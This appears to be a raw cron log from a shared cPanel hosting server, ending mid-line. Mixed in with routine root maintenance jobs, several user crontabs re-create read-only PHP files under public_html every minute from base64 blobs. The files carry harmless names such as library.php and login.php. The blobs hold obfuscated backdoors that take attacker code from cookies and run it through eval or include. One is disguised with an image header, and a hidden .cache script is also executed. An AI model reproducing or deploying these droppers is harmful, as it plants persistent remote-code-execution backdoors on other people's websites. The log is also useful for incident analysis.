Mar  1 11:19:01 medusa CROND[26881]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:19:01 medusa CROND[26882]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:19:01 medusa CROND[26884]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:19:01 medusa CROND[26886]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:19:01 medusa CROND[26887]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:19:01 medusa CROND[26889]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:19:01 medusa CROND[26888]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:19:01 medusa CROND[26895]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:19:01 medusa CROND[26901]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:20:01 medusa CROND[16555]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:20:01 medusa CROND[16558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:20:01 medusa CROND[16565]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:20:01 medusa CROND[16645]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:20:02 medusa CROND[16672]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 11:20:02 medusa CROND[16741]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:20:02 medusa CROND[16742]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:20:02 medusa CROND[16743]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:20:02 medusa CROND[16748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 11:20:02 medusa CROND[16751]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 11:20:02 medusa CROND[16753]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:20:02 medusa CROND[16750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:20:02 medusa CROND[16754]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:20:02 medusa CROND[16749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:20:02 medusa CROND[16757]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:20:02 medusa CROND[16759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 11:20:02 medusa CROND[16764]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:20:02 medusa CROND[16779]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:20:02 medusa CROND[16776]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:20:02 medusa CROND[16783]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:20:02 medusa CROND[16789]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:20:02 medusa CROND[16778]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:20:02 medusa CROND[16787]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 11:20:02 medusa CROND[16786]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 11:20:02 medusa CROND[16821]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:20:02 medusa CROND[16824]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 11:20:02 medusa CROND[16827]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:20:02 medusa CROND[16832]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:20:02 medusa CROND[16828]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 11:20:02 medusa CROND[16831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:21:01 medusa CROND[6216]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:21:02 medusa CROND[6314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:21:02 medusa CROND[6316]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:21:02 medusa CROND[6317]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFy